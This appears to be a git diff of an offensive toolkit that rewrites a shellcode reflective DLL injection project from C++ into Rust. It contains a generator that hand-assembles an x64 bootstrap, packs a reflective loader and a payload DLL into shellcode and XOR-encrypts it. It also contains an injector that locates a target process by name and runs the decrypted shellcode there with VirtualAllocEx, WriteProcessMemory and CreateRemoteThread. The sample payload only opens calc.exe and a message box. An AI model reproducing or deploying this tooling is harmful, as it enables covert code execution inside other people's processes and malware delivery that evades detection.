std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
|
||||
std::cout << "[+] Loader size: " << loaderContents.size() << std::endl;
|
||||
std::cout << "[+] Payload size: " << payloadContents.size() << std::endl;
|
||||
|
||||
/*
|
||||
Form the complete shellcode with the following structure:
|
||||
- Bootstrap
|
||||
- RDI shellcode
|
||||
- Payload DLL bytes
|
||||
- User data
|
||||
*/
|
||||
|
||||
bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end());
|
||||
bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end());
|
||||
|
||||
// XOR with a random content length key
|
||||
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
|
||||
auto key = GenerateKey(bootstrap.size());
|
||||
XorCipher(&bootstrap, key);
|
||||
|
||||
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
|
||||
|
||||
WriteToFile(outputPath, bootstrap);
|
||||
std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
|
||||
|
||||
auto keyPath = outputPath + ".key";
|
||||
WriteToFile(keyPath, key);
|
||||
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void PrintHelp(char **argv) {
|
||||
std::cout << "\nUsage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
|
||||
std::cout << "\nArguments (required):" << std::endl;
|
||||
std::cout << "\t-l, --loader Path to loader file" << std::endl;
|
||||
std::cout << "\t-p, --payload Path to payload file" << std::endl;
|
||||
std::cout << "\t-n, --function Function name to call inside payload" << std::endl;
|
||||
std::cout << "\t-a, --parameter Function parameter to pass to the called function" << std::endl;
|
||||
std::cout << "\t-o, --output Path to output file" << std::endl;
|
||||
std::cout << "\nOptions:" << std::endl;
|
||||
std::cout << "\t-f, --flag Flag to run defined payload's defined function instead of DllMain" << std::endl;
|
||||
std::cout << "\t-h, --help Print this help message\n"
|
||||
<< std::endl;
|
||||
}
|
@ -1,10 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <getopt.h>
|
||||
#include <windows.h>
|
||||
|
||||
#include <iostream>
|
||||
|
||||
constexpr auto BOOTSTRAP_LEN = 85;
|
||||
|
||||
void PrintHelp(char **argv);
|
379
generator/src/main.rs
Normal file
379
generator/src/main.rs
Normal file
@ -0,0 +1,379 @@
|
||||
use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts};
|
||||
|
||||
use airborne_utils::calc_hash;
|
||||
use clap::Parser;
|
||||
use windows_sys::Win32::{
|
||||
System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
|
||||
System::{
|
||||
Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_SECTION_HEADER},
|
||||
SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY},
|
||||
},
|
||||
};
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(version)]
|
||||
struct Args {
|
||||
/// Path to the sRDI loader DLL
|
||||
#[arg(short, long = "loader")]
|
||||
loader_path: PathBuf,
|
||||
/// Path to the payload DLL
|
||||
#[arg(short, long = "payload")]
|
||||
payload_path: PathBuf,
|
||||
/// Name of the function to call in the payload DLL
|
||||
#[arg(short, long = "function")]
|
||||
function_name: String,
|
||||
/// Parameter to pass to the function
|
||||
#[arg(short = 'n', long)]
|
||||
parameter: String,
|
||||
/// Path to the output file
|
||||
#[arg(short, long = "output")]
|
||||
output_path: PathBuf,
|
||||
/// Flag to pass to the loader (by default DllMain is called)
|
||||
#[arg(short, long, default_value_t = 0)]
|
||||
flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap
|
||||
}
|
||||
|
||||
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
|
||||
const LOADER_ENTRY_NAME: &str = "loader";
|
||||
const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
|
||||
|
||||
fn main() {
|
||||
let args = Args::parse();
|
||||
|
||||
// preserve the path from being dropped
|
||||
let output_path = args.output_path.clone();
|
||||
|
||||
let loader_path_str = args.loader_path.to_str().unwrap();
|
||||
let payload_path_str = args.payload_path.to_str().unwrap();
|
||||
let output_path_str = args.output_path.to_str().unwrap();
|
||||
|
||||
println!("[+] reflective loader: {}", loader_path_str);
|
||||
println!("[+] payload: {}", payload_path_str);
|
||||
println!("[+] output: {}", output_path_str);
|
||||
|
||||
let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL");
|
||||
let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL");
|
||||
let function_hash = calc_hash(args.function_name.as_bytes());
|
||||
|
||||
let mut shellcode = gen_sc(
|
||||
&mut loader_b,
|
||||
&mut payload_b,
|
||||
function_hash,
|
||||
args.parameter,
|
||||
args.flag,
|
||||
);
|
||||
|
||||
println!("\n[+] xor'ing shellcode");
|
||||
let key = gen_xor_key(shellcode.len());
|
||||
airborne_utils::xor_cipher(&mut shellcode, &key);
|
||||
let mut key_output_path = output_path.clone().into_os_string();
|
||||
key_output_path.push(".key");
|
||||
let key_output_path_str = key_output_path.to_str().unwrap();
|
||||
|
||||
println!("\n[+] writing shellcode to '{}'", output_path_str);
|
||||
fs::write(output_path, shellcode).expect("failed to write shellcode to output file");
|
||||
println!("[+] writing xor key to '{}'", key_output_path_str);
|
||||
fs::write(key_output_path, key).expect("failed to write xor key to output file");
|
||||
}
|
||||
|
||||
fn gen_sc(
|
||||
loader_b: &mut Vec<u8>,
|
||||
payload_b: &mut Vec<u8>,
|
||||
function_hash: u32,
|
||||
parameter: String,
|
||||
flag: u32,
|
||||
) -> Vec<u8> {
|
||||
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)
|
||||
.expect("failed to get loader entry point");
|
||||
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
|
||||
println!("[+] loader offset: {:#x}", loader_offset);
|
||||
|
||||
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
|
||||
|
||||
// TODO: clean up & fix 'call to push immediately after creation' compiler warning by
|
||||
// calculating little-endian representations of variables (flag, parameter length & offset,
|
||||
// function hash, payload offset, loader address) beforehand
|
||||
|
||||
let mut bootstrap: Vec<u8> = Vec::new();
|
||||
|
||||
/*
|
||||
1.) save the current location in memory for calculating offsets later
|
||||
*/
|
||||
|
||||
// call 0x00 (this will push the address of the next function to the stack)
|
||||
bootstrap.push(0xe8);
|
||||
bootstrap.push(0x00);
|
||||
bootstrap.push(0x00);
|
||||
bootstrap.push(0x00);
|
||||
bootstrap.push(0x00);
|
||||
|
||||
// pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory
|
||||
bootstrap.push(0x59);
|
||||
|
||||
// mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX
|
||||
bootstrap.push(0x49);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0xc8);
|
||||
|
||||
/*
|
||||
2.) align the stack and create shadow space
|
||||
*/
|
||||
|
||||
// push rsi - save original value
|
||||
bootstrap.push(0x56);
|
||||
|
||||
// mov rsi, rsp - store our current stack pointer for later
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0xe6);
|
||||
|
||||
// and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x83);
|
||||
bootstrap.push(0xe4);
|
||||
bootstrap.push(0xf0);
|
||||
|
||||
// sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x83);
|
||||
bootstrap.push(0xec);
|
||||
bootstrap.push(6 * 8); // 6 args that are 8 bytes each
|
||||
|
||||
/*
|
||||
3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
|
||||
*/
|
||||
|
||||
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0x4C);
|
||||
bootstrap.push(0x24);
|
||||
bootstrap.push(4 * 8); // 5th arg
|
||||
|
||||
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x83);
|
||||
bootstrap.push(0x6C);
|
||||
bootstrap.push(0x24);
|
||||
bootstrap.push(4 * 8); // 5th arg
|
||||
bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector
|
||||
|
||||
// mov dword ptr [rsp + 0x28], <flag> - (40 bytes) Push arg 6 just above shadow space
|
||||
bootstrap.push(0xC7);
|
||||
bootstrap.push(0x44);
|
||||
bootstrap.push(0x24);
|
||||
bootstrap.push(5 * 8); // 6th arg
|
||||
bootstrap.append(&mut flag.to_le_bytes().to_vec().clone());
|
||||
|
||||
/*
|
||||
4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
|
||||
*/
|
||||
|
||||
// mov r9, <parameter_length> - copy the 4th parameter, which is the length of the user data into r9
|
||||
bootstrap.push(0x41);
|
||||
bootstrap.push(0xb9);
|
||||
let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly
|
||||
bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone());
|
||||
|
||||
// add r8, <parameter_offset> + <payload_length> - copy the 3rd parameter, which is address of the user function into r8 after calculation
|
||||
bootstrap.push(0x49);
|
||||
bootstrap.push(0x81);
|
||||
bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction
|
||||
let parameter_offset =
|
||||
(BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32;
|
||||
bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone());
|
||||
|
||||
// mov edx, <prameter_hash> - copy the 2nd parameter, which is the hash of the user function into edx
|
||||
bootstrap.push(0xba);
|
||||
bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone());
|
||||
|
||||
// add rcx, <payload_offset> - copy the 1st parameter, which is the address of the user dll into rcx after calculation
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x81);
|
||||
bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction
|
||||
let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly
|
||||
bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone());
|
||||
|
||||
/*
|
||||
5.) call the reflective loader
|
||||
*/
|
||||
|
||||
// call <loader_offset> - call the reflective loader address after calculation
|
||||
bootstrap.push(0xe8);
|
||||
let loader_address =
|
||||
(BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly
|
||||
bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone());
|
||||
|
||||
// padding
|
||||
bootstrap.push(0x90);
|
||||
bootstrap.push(0x90);
|
||||
|
||||
/*
|
||||
6.) restore the stack and return to the original location (caller)
|
||||
*/
|
||||
|
||||
// mov rsp, rsi - reset original stack pointer
|
||||
bootstrap.push(0x48);
|
||||
bootstrap.push(0x89);
|
||||
bootstrap.push(0xf4);
|
||||
|
||||
// pop rsi - put things back where they were left
|
||||
bootstrap.push(0x5e);
|
||||
|
||||
// ret - return to caller and resume execution flow (avoids crashing process)
|
||||
bootstrap.push(0xc3);
|
||||
|
||||
// padding
|
||||
bootstrap.push(0x90);
|
||||
bootstrap.push(0x90);
|
||||
|
||||
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
|
||||
panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source");
|
||||
} else {
|
||||
println!("[+] bootstrap size: {}", bootstrap.len());
|
||||
}
|
||||
|
||||
println!("[+] reflective loader size: {}", loader_b.len());
|
||||
println!("[+] payload size: {}", payload_b.len());
|
||||
|
||||
let mut shellcode = Vec::new();
|
||||
|
||||
shellcode.append(&mut bootstrap);
|
||||
shellcode.append(loader_b);
|
||||
shellcode.append(payload_b);
|
||||
shellcode.append(&mut parameter.as_bytes().to_vec());
|
||||
|
||||
/*
|
||||
the final PIC shellcode will have the following memory layout:
|
||||
- bootstrap
|
||||
- sRDI shellcode
|
||||
- payload DLL bytes
|
||||
- user data
|
||||
*/
|
||||
|
||||
println!("\n[+] total shellcode size: {}", shellcode.len());
|
||||
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
|
||||
println!(
|
||||
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
|
||||
);
|
||||
println!(
|
||||
"[+] rcx: {:#x} rdx: {:#x} r8: {}, r9: {:#x}, arg5: shellcode.bin address, arg6: {}",
|
||||
payload_offset,
|
||||
function_hash,
|
||||
parameter,
|
||||
parameter.len(),
|
||||
flag
|
||||
);
|
||||
|
||||
shellcode
|
||||
}
|
||||
|
||||
fn gen_xor_key(keysize: usize) -> Vec<u8> {
|
||||
let mut key = Vec::new();
|
||||
|
||||
for _ in 0..keysize {
|
||||
key.push(rand::random::<u8>());
|
||||
}
|
||||
|
||||
key
|
||||
}
|
||||
|
||||
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> {
|
||||
for (e_name, addr) in unsafe { get_exports(base_ptr) } {
|
||||
if e_name == name {
|
||||
return Some(addr as _);
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
|
||||
let mut exports = BTreeMap::new();
|
||||
|
||||
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
|
||||
|
||||
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
panic!("Failed to get DOS header");
|
||||
}
|
||||
|
||||
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
|
||||
let export_dir_ptr = rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
|
||||
.VirtualAddress,
|
||||
) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||
|
||||
let export_names = from_raw_parts(
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*export_dir_ptr).AddressOfNames,
|
||||
) as *const u32,
|
||||
(*export_dir_ptr).NumberOfNames as _,
|
||||
);
|
||||
let export_functions = from_raw_parts(
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*export_dir_ptr).AddressOfFunctions,
|
||||
) as *const u32,
|
||||
(*export_dir_ptr).NumberOfFunctions as _,
|
||||
);
|
||||
let export_ordinals = from_raw_parts(
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
(*export_dir_ptr).AddressOfNameOrdinals,
|
||||
) as *const u16,
|
||||
(*export_dir_ptr).NumberOfNames as _,
|
||||
);
|
||||
|
||||
for i in 0..(*export_dir_ptr).NumberOfNames as usize {
|
||||
let export_name =
|
||||
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8;
|
||||
|
||||
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
|
||||
let export_ordinal = export_ordinals[i] as usize;
|
||||
exports.insert(
|
||||
export_name.to_string(),
|
||||
rva_to_offset(
|
||||
base_ptr as _,
|
||||
&*nt_header_ptr,
|
||||
export_functions[export_ordinal],
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
exports
|
||||
}
|
||||
|
||||
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
|
||||
(base_ptr as usize + rva) as *mut T
|
||||
}
|
||||
|
||||
unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize {
|
||||
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
|
||||
&nt_header_ref.OptionalHeader as *const _ as _,
|
||||
nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
|
||||
);
|
||||
let section_count = nt_header_ref.FileHeader.NumberOfSections;
|
||||
|
||||
for i in 0..section_count as usize {
|
||||
let virtual_addr = (*section_header_ptr.add(i)).VirtualAddress;
|
||||
let virtual_size = (*section_header_ptr.add(i)).Misc.VirtualSize;
|
||||
|
||||
// check if the rva is within the current section
|
||||
if virtual_addr <= rva && virtual_addr + virtual_size > rva {
|
||||
// adjust the rva to be relative to the start of the section in the file
|
||||
rva -= (*section_header_ptr.add(i)).VirtualAddress;
|
||||
rva += (*section_header_ptr.add(i)).PointerToRawData;
|
||||
|
||||
return base + rva as usize;
|
||||
}
|
||||
}
|
||||
|
||||
0
|
||||
}
|
16
injector/Cargo.toml
Normal file
16
injector/Cargo.toml
Normal file
@ -0,0 +1,16 @@
|
||||
[package]
|
||||
name = "airborne-injector"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
lexopt = "0.3.0"
|
||||
airborne-utils = { path = "../utils" }
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.52.0"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Diagnostics_ToolHelp",
|
||||
]
|
@ -1,56 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
#include <iostream>
|
||||
|
||||
#include "../shared/crypto.hpp"
|
||||
#include "../shared/futils.hpp"
|
||||
|
||||
#define VERBOSE 1
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc != 3) {
|
||||
std::cout << "\nUsage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>\n"
|
||||
<< std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
|
||||
#endif
|
||||
|
||||
auto shellcodeContents = ReadFromFile(argv[1]);
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
|
||||
#endif
|
||||
|
||||
auto key = ReadFromFile(argv[2]);
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] XOR'ing shellcode" << std::endl;
|
||||
#endif
|
||||
|
||||
XorCipher(&shellcodeContents, key);
|
||||
|
||||
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (!baseAddress) {
|
||||
std::cout << "[!] Failed to allocate memory" << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
|
||||
#endif
|
||||
|
||||
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
|
||||
|
||||
#ifdef VERBOSE
|
||||
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
|
||||
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
|
||||
#endif
|
||||
|
||||
__asm__("jmp *%0" ::"r"(baseAddress));
|
||||
|
||||
return 0;
|
||||
}
|
62
injector/src/inject.rs
Normal file
62
injector/src/inject.rs
Normal file
@ -0,0 +1,62 @@
|
||||
use std::{mem::transmute, ptr::null_mut};
|
||||
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
|
||||
System::{
|
||||
Diagnostics::Debug::WriteProcessMemory,
|
||||
Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
|
||||
Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS},
|
||||
},
|
||||
};
|
||||
|
||||
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
|
||||
let dll_len = dll_vec.len();
|
||||
|
||||
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
|
||||
|
||||
if h_process == INVALID_HANDLE_VALUE {
|
||||
panic!("failed to open process");
|
||||
}
|
||||
|
||||
let base_addr_ptr = VirtualAllocEx(
|
||||
h_process,
|
||||
null_mut(),
|
||||
dll_len,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
);
|
||||
|
||||
if base_addr_ptr.is_null() {
|
||||
panic!("failed to allocate memory");
|
||||
}
|
||||
|
||||
println!("[+] allocated memory at {:p}", base_addr_ptr);
|
||||
|
||||
if WriteProcessMemory(
|
||||
h_process,
|
||||
base_addr_ptr,
|
||||
dll_vec.as_ptr() as _,
|
||||
dll_len,
|
||||
null_mut(),
|
||||
) == 0
|
||||
{
|
||||
panic!("failed to write process memory");
|
||||
}
|
||||
|
||||
let h_thread = CreateRemoteThread(
|
||||
h_process,
|
||||
null_mut(),
|
||||
0,
|
||||
Some(transmute(base_addr_ptr as usize)),
|
||||
null_mut(),
|
||||
0,
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
if h_thread == INVALID_HANDLE_VALUE {
|
||||
panic!("failed to create remote thread");
|
||||
}
|
||||
|
||||
CloseHandle(h_thread);
|
||||
CloseHandle(h_process);
|
||||
}
|
89
injector/src/main.rs
Normal file
89
injector/src/main.rs
Normal file
@ -0,0 +1,89 @@
|
||||
mod inject;
|
||||
mod process;
|
||||
|
||||
use std::{fs, path::PathBuf, process::exit};
|
||||
|
||||
use lexopt::Arg::{Long, Short};
|
||||
|
||||
#[derive(Debug)]
|
||||
struct Args {
|
||||
procname: String,
|
||||
shellcode_path: PathBuf,
|
||||
keyfile_path: PathBuf,
|
||||
offset: usize,
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let args = parse_args();
|
||||
let proc_id =
|
||||
unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
|
||||
|
||||
let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
|
||||
|
||||
if args.offset >= shellcode.len() {
|
||||
println!("[!] offset is greater or equal than shellcode length");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
|
||||
println!("[+] xor'ing shellcode");
|
||||
airborne_utils::xor_cipher(&mut shellcode, &keyfile);
|
||||
|
||||
println!("[+] injecting shellcode into {}", args.procname);
|
||||
unsafe { inject::inject(proc_id, shellcode) };
|
||||
|
||||
println!("[+] done");
|
||||
}
|
||||
|
||||
fn parse_args() -> Args {
|
||||
let mut args = Args {
|
||||
procname: String::new(),
|
||||
shellcode_path: PathBuf::new(),
|
||||
keyfile_path: PathBuf::new(),
|
||||
offset: 0,
|
||||
};
|
||||
|
||||
let mut parser = lexopt::Parser::from_env();
|
||||
|
||||
while let Some(arg) = parser.next().expect("failed to parse arguments") {
|
||||
match arg {
|
||||
Short('p') => {
|
||||
args.procname = parser
|
||||
.value()
|
||||
.expect("failed to parse process name")
|
||||
.into_string()
|
||||
.expect("failed to convert process name into String");
|
||||
}
|
||||
Short('s') => {
|
||||
args.shellcode_path = parser
|
||||
.value()
|
||||
.expect("failed to parse shellcode path")
|
||||
.into();
|
||||
}
|
||||
Short('k') => {
|
||||
args.keyfile_path = parser.value().expect("failed to parse keyfile path").into();
|
||||
}
|
||||
Short('h') | Long("help") => {
|
||||
print_usage();
|
||||
exit(0);
|
||||
}
|
||||
_ => {
|
||||
println!("[!] invalid argument: {:?}", arg);
|
||||
print_usage();
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if args.procname.is_empty() || !args.shellcode_path.exists() || !args.keyfile_path.exists() {
|
||||
println!("[!] missing or invalid argument(s)");
|
||||
print_usage();
|
||||
exit(1);
|
||||
}
|
||||
|
||||
args
|
||||
}
|
||||
|
||||
fn print_usage() {
|
||||
println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>");
|
||||
}
|
56
injector/src/process.rs
Normal file
56
injector/src/process.rs
Normal file
@ -0,0 +1,56 @@
|
||||
use std::ffi::CStr;
|
||||
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
|
||||
System::Diagnostics::ToolHelp::{
|
||||
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
|
||||
},
|
||||
};
|
||||
|
||||
fn snapshot() -> isize {
|
||||
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
|
||||
|
||||
if snapshot == INVALID_HANDLE_VALUE {
|
||||
panic!("failed to create snapshot");
|
||||
}
|
||||
|
||||
snapshot
|
||||
}
|
||||
|
||||
unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 {
|
||||
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
|
||||
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
|
||||
|
||||
if Process32First(snapshot, &mut pe) == 0 {
|
||||
CloseHandle(snapshot);
|
||||
panic!("failed to get first process entry");
|
||||
}
|
||||
|
||||
pe
|
||||
}
|
||||
|
||||
pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
|
||||
let snapshot = snapshot();
|
||||
let mut pe = first_proc_entry(snapshot);
|
||||
|
||||
loop {
|
||||
let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
|
||||
.to_string_lossy()
|
||||
.into_owned();
|
||||
|
||||
if proc_name.to_lowercase() == target_name.to_lowercase() {
|
||||
let pid = pe.th32ProcessID;
|
||||
println!("[+] {}: {}", pid, proc_name);
|
||||
CloseHandle(snapshot);
|
||||
|
||||
return Some(pid);
|
||||
} else if Process32Next(snapshot, &mut pe) == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] process with name {} not found", target_name);
|
||||
CloseHandle(snapshot);
|
||||
|
||||
None
|
||||
}
|
18
payload/Cargo.toml
Normal file
18
payload/Cargo.toml
Normal file
@ -0,0 +1,18 @@
|
||||
[package]
|
||||
name = "airborne-payload"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[lib]
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[dependencies]
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.52.0"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_UI_Shell",
|
||||
"Win32_UI_WindowsAndMessaging"
|
||||
]
|
@ -1,24 +0,0 @@
|
||||
#pragma GCC diagnostic ignored "-Wunused-parameter"
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef BUILD_DLL
|
||||
#define DLL_EXPORT __declspec(dllexport)
|
||||
#else
|
||||
#define DLL_EXPORT __declspec(dllimport)
|
||||
#endif
|
||||
|
||||
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
|
||||
if (dwReason == DLL_PROCESS_ATTACH) {
|
||||
CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) {
|
||||
auto lpText = static_cast<LPCWSTR>(lpUserData);
|
||||
MessageBoxW(NULL, lpText, L"Hello World!", MB_OK);
|
||||
|
||||
return TRUE;
|
||||
}
|
39
payload/src/lib.rs
Normal file
39
payload/src/lib.rs
Normal file
@ -0,0 +1,39 @@
|
||||
use std::{ffi::c_void, ptr::null_mut, slice::from_raw_parts, str::from_utf8};
|
||||
|
||||
use windows_sys::{
|
||||
w,
|
||||
Win32::{
|
||||
Foundation::HMODULE,
|
||||
System::SystemServices::DLL_PROCESS_ATTACH,
|
||||
UI::{
|
||||
Shell::ShellExecuteW,
|
||||
WindowsAndMessaging::{MessageBoxW, MB_OK},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case)]
|
||||
pub unsafe extern "system" fn DllMain(_module: HMODULE, reason: u32, _reserved: *mut u8) -> bool {
|
||||
if reason == DLL_PROCESS_ATTACH {
|
||||
ShellExecuteW(0, w!("open"), w!("calc.exe"), null_mut(), null_mut(), 0);
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case)]
|
||||
unsafe fn PrintMessage(user_data_ptr: *mut c_void, user_data_len: u32) {
|
||||
let udata_slice = from_raw_parts(user_data_ptr as *const u8, user_data_len as usize);
|
||||
|
||||
// TODO: switch to no_std environment, wstr can be created from u8 by utilizing udata_len as array length
|
||||
|
||||
let mut user_text_wstr = from_utf8(udata_slice)
|
||||
.unwrap()
|
||||
.encode_utf16() // must be UTF-16 for MessageBoxW
|
||||
.collect::<Vec<u16>>();
|
||||
user_text_wstr.push(0); // null-termination
|
||||
|
||||
MessageBoxW(0, user_text_wstr.as_ptr() as _, w!("Hello World!"), MB_OK);
|
||||
}
|
20
